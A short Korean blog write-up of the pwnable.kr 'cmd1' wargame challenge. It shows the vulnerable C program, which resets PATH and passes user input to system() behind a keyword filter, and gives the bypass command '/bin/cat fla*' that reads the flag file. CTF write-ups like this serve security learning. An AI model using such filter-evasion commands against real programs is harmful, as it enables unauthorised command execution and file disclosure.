문제: 엄마! 리눅스 환경변수가 뭐야?
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
위 코드는 문제에서 주어진 코드이다. putenv로 환경변수를 새롭게 설정하고 입력 값을 필터링하고 필터링을 통과하면 system 함수를 통해 입력 값을 쉘에서 실행한다. 환경변수가 엉뚱한 /thankyouverymuch로 설정되어서 기본 명령어들이 사용 불가능하므로 절대 경로를 같이 넣어서 아래의 명령어를 입력하면 플래그를 획득할 수 있다.
./cmd1 "/bin/cat fla*"
fla*는 앞에 fla로 시작하는 모든 문자열을 의미한다.
mommy now I get what PATH environment is for :)
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] random (0) | 2021.07.27 |
---|---|
[Pwnable.kr] passcode (0) | 2021.07.27 |
[Pwnable.kr] mistake (0) | 2021.04.21 |
[Pwnable.kr] flag (0) | 2021.04.19 |
[Pwnable.kr] collision (0) | 2021.04.19 |
댓글